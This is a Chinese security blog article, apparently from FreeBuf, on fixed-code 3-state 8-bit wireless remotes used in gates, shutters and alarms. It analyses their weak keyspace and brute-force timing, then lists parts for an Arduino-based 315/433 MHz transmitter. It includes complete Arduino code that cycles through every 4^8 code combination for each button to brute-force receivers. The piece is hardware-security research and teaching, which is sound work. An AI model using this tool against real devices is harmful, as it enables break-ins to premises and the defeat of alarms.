分析无线遥控器信号并制作Hack硬件进行攻击
*原创作者:ZMOM1031,本文属FreeBuf原创奖励计划,未经许可禁止转载
无线遥控器(无线电遥控器)在我们生活中非常常见,应用于各种场景,方便着用户的使用。不过大多数还是用于安防方面的,比如: 遥控报警器、电动卷帘门、电动伸缩门、遥控电开关、无线遥控门铃……
1、无线遥控器简介
无线遥控器从安全角度看大致分为两类,一类是最普遍的固定码遥控器,特点是廉价、应用广泛、市场大、用户多;另一类是滚动码遥控器,特点是价格较贵、相对比较安全、用于汽车安全防盗等安全要求较高的地方。
固定码遥控器有很多种编码方式,国内常见的是 3 态 8 位的编码或者厂商出厂时烧录的随机码。
滚动码这里不做讲解,我都还得到这类遥控器,滚动码相对来说比较安全,但也并非绝对安全,你的汽车用到就是滚动码遥控器,然而盗贼在 N 年前就能买到干扰破解你汽车防盗的设备了。
无线遥控器从信号调制方式可以大致分成 OOK 和 FSK 两种方式,当然这只是常见的,还有其他的信号调制方式。
2、三态八位遥控器
3 态 8 位遥控器是我们常见的遥控器,它属于固定码遥控器。在电瓶车防盗器、电动卷帘门、电动伸缩门、遥控电开关、无线遥控门铃这些应用中都能见到这种遥控器,因为这种遥控器很廉价。
2.1 什么是三态八位遥控器?
3 态 8 位遥控器顾名思义,它有 3 种码位状态 8 个码位。二进制是由 0
和 1
组成的,所以 2 位(bit)长的二进制有 4 种可能性 00
01
10
11
, 3 态 8 位遥控器使用的是这其中的 3 种 00
01
11
这是 3 态。
8 位是指有 8个编码位,每个编码位可使用 3 态中的任意一种,所以是 2 * 8 = 16
总共 16 位(bit)长的二进制,但是常见的无线遥控器是的数据长度是 24 位(bit),因为后 8 位(bit)是定义按键值的(如果你对信号解码出来的是 25 位(bit)长,你可以除去末尾的 0
;如果是 25 位(bit)长,末尾的是 1
这可能是你解码错了)。
常见的 4 键遥控器的的每个键值都是出厂就固定了的,分别是 11000000
00110000
00001100
00000011
2.2 厂商烧录的固定码
如果你的固定码遥控器解码后的二进制中有一对 10
码(注意是一对,前一对的后 1
跟后一对的前 0
组成的 10
是不算的)这说明你的遥控器不属于 3 态 8 位遥控器,是厂商出厂时烧录的固定码,这种遥控器的后 8 位(bit)按键值也不一定是标准的 4 种可能性。
这类固定码遥控器的接收端一般都是学习行的,会有一个学习键。
作用是配对新的遥控器,如果当前遥控器坏了,你可以买个同类型的遥控器,长按学习键再按遥控器,就可以学习到新遥控器的编码的信息,这样你就能继续使用了。
2.3 辨别是否是三态八位
辨别是否是 3 态 8 位遥控器最靠谱的方法就是拆开来看 PCB 板子,有 3 排 8 列焊盘的肯定是,否则就不是,使用 3 态 8 位拨码开关的也是。
2.4 三态八位遥控器编码
国内常见的编码方法都是直接焊接 PCB 上的焊盘,极少使用拨码开关,节省成本?当然你也能买到 3 态 8 位的拨码遥控器。
从上图中可以看出总共有 3 排 8 列焊盘,这也就是 3 态(上中下) 8 位的定义方式。中间的一排连接的是芯片的引脚,当芯片的一个引脚与 High 焊接上后产生的编码是 11
与 Low 焊接上后产生的编码是 00
不焊接的默认编码是 01
。
编码是成对的,遥控器上是这个编码,接收器上也得是这个编码否则是没法使用的。
3、分析安全缺陷
从上文中我们知道了遥控器的二进制编码长度是 24 位(bit),前 16 位(bit)是由 3 态 8 位编码方式定义的,后 8 位(bit)是厂商固定死的的按键值。
一个遥控器上的每个按键的前 16 位(bit)都是一样的,后 8 位(bit)是不一样的,就 4 种可能性。假设如果每个按键都是没有规律的随机码,那么你想通过暴力穷举出正确的编码,你需要尝试 2 ^ 24 = 16777216
总共 16777216 种可能性。
假设后 8 位(bit)是固定的 4 种可能性,前 16 位(bit)是随机的,那你只需要尝试前 16 位(bit)的所有可能性在拼接上后 8 位(bit)的固定值,你需要尝试 2 ^ 16 = 65536
4 ^ 8 = 65536
每个按键总共 65536 种可能性。
由于 3 态 8 位里是没有 10
码的,所有你需要尝试的次数是 3 ^ 8 = 6561
每个按键总共 6561 种可能性。
知道了暴力穷举攻击需要尝试的次数后我们再来算一下需要的时间,我对一个普通的遥控器做信号发送的采集,10 秒钟时间内我在接收端收到一百零几次遥控信号,也就是说一分钟至少可以发送(尝试) 600 个可能性。
尝试 24 位(bit)长度的所有组合所需的时间是 16777216 / 600 = 27962
27962 分钟左右,大概 20 天不到。
尝试 16 位(bit)长度一个按键的所有组合所需的时间是 65536 / 600 = 109
109 分钟左右,大概一个多小时。尝试 3 态 8 位一个按键的所有组合所需的时间是 6561 / 600 = 11
大概 11 分钟左右!!
那么 Samy Kamkar 在 8 秒内打开车库门的 OpenSesame 项目是怎么做到的?首先 Samy Kamkar 的那个车库门的遥控器并非是 3 态 8 位的,编码长度好像只有 12 位(bit), 2 ^ 12 = 4096
总共 4096 种组合。
最关键是遥控设备的接收端使用的是移位寄存器,所以使用 De Bruijn 序列 即可在非常短的时间内完成所有可能性的尝试。
但我们常见的 3 态 8 位遥控设备的接收端用得并非是移位寄存器,所以没法使用De Bruijn序列实现暴力穷举攻击。
检测接收端是否使用了移位寄存器的一个方法是在正确的编码前加个 0
。如果使用了移位寄存器,那么会跳过错误的一个位(bit)检查下一个正确的,并给予响应。如果没使用移位寄存器,那么什么反应都没有,因为你发送的这个编码是错误的。
4、制作 Hacking 硬件
从上面理论分析中我们知道了这种遥控设备所存在的其中一个缺陷,要尝试利用这个缺陷实现对设备的攻击方法不止一种。
你可以抱着你的笔记本和 SDR 设备去攻击它,或者我们尝试制作自己的便捷式硬件来利用这个缺陷实现对设备的攻击。
这个我们使用 Arduino 和 RF 模块实现攻击功能。
使用 Arduino 是因为廉价、易上手,当然你有能力的话也可以使用其他单片机去实现,或者自己设计电路,使用更好的 CC1111 芯片去实现 RF 功能。
4.1 硬件列表
Arduino Pro Micro 315 MHz或433 MHz 无线模块 轻触按钮 10K电阻 面包板 面包板跳线
4.2 硬件连接方式
4.3 功能代码
/* Brute Force Attack 4 ^ 8 Remote Control https://github.com/ZMOM1031/bruteforce3-8remote */#include <stdio.h>#include <RCSwitch.h>RCSwitch mySwitch = RCSwitch();// 定义 4 个按键针脚const int button_a = 10;const int button_b = 16;const int button_c = 14;const int button_d = 15;int butStatA = 0;int butStatB = 0;int butStatC = 0;int butStatD = 0;int dfa = 256;void setup() { Serial.begin(9600); mySwitch.enableTransmit(9); // 定义发送模块的数据传输针脚 mySwitch.setPulseLength(170); // 定义脉冲长度,这个值具体看你使用的遥控器而定 pinMode(button_a, INPUT); pinMode(button_b, INPUT); pinMode(button_c, INPUT); pinMode(button_d, INPUT); }void loop() { // read the state of the pushbutton value: butStatA = digitalRead(button_a); butStatB = digitalRead(button_b); butStatC = digitalRead(button_c); butStatD = digitalRead(button_d); // Button A if (butStatA == HIGH) { // check if the pushbutton is pressed. for (long i = 0; i < 65535; i++ ){ long key = long(i * dfa) + int(192); mySwitch.send(key, 24); } } // Button B if (butStatB == HIGH) { for (long i = 0; i < 65535; i++ ){ long key = long(i * dfa) + int(48); mySwitch.send(key, 24); } } // Button C if (butStatC == HIGH) { for (long i = 0; i < 65535; i++ ){ long key = long(i * dfa) + int(12); mySwitch.send(key, 24); } } // Button D if (butStatD == HIGH) { for (long i = 0; i < 65535; i++ ){ long key = long(i * dfa) + int(3); mySwitch.send(key, 24); } } }
注:这段代码实现的是发送 4 ^ 8
的所有可能性。
生成 3 ^ 8
的所有可能性的算法我还没实现,暂时也没时间去继续研究如何实现了,过完年得去找工作了。
5、总结
在实际测试中暴力穷举攻击确实是有效的,但由于时间匆忙,硬件设计和代码都不是最优化的,所攻击的速度还是差了点。如果你使用的是这种类型的遥控设备也不用担心会这么样。
bruteforce3-8remote 这个项目后续还会更新,争取达到最高的可用度,还会再加一些功能。目前我得先去忙着找工作,才是正事。未来还会研究一些其他的硬件安全的破解/逆向项目的。
最后感谢一下我的一位小伙伴(匿名)给的一些帮助。
原文链接:https://blog.iternull.com/posts/2017/02/04/Use-Arduino-brute-force-to-attack-remote-control.html
*原创作者:ZMOM1031,本文属FreeBuf原创奖励计划,未经许可禁止转载
- Go语言服务器开发之简易TCP客户端与服务端实现方法
- 移动搜索SEO分享:PHP自动生成百度开放适配及360移动适配专用的Sitemap文件
- 分享两种外链跳转方法,可避免权重流失。
- go语言十大排序算法总结
- 网站安全检测提示“页面异常导致本地路径泄漏”的解决办法
- Go语言归并排序算法实现
- 超強统计插件:My Visitors在知更鸟主题下的修改教程
- 让知更鸟主题的分类图标支持二级分类
- nwui —— 又一个go语言图形界面解决方案
- 分享博客统计中的动态运行天数代码
- GO语言标准错误处理机制error用法实例
- go的websocket实现原理与用法详解
- 分享张戈博客的在线影音源代码
- go语言base64加密解密的方法
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- C# 8.0 文件长度 Bytes 字节转 KB 等单位字符串
- LeetCode---两数之和
- 通过 cmd 批处理文件将 16 进制转 10 进制数字
- HTML5-JS操作页面滚动条(禁止、隐藏、显示、不显示)
- 追根溯源MySQL,“你的表情”插入对了吗?
- 推荐官方开源 PInvoke 库 包含大量 win32 封装
- 这是什么重大发现!一个导致JVM物理内存消耗大的Bug
- 无语,我差点被面试官怼坏了,又给我问到MySQL索引
- 面试官虚晃一枪:项目中有用过锁吗?能解释一下什么是AQS?
- 实验四--数据库的安全性、完整性控制
- Servlet生命周期
- 制作的 dotnet tool 运行失败提示依赖缺失
- 撸了个多线程断点续传下载器,我从中学习到了这些知识
- 使用 IOC 控制反转和 DI 依赖注入的意义
- Servlet配置初始值,并获取初始值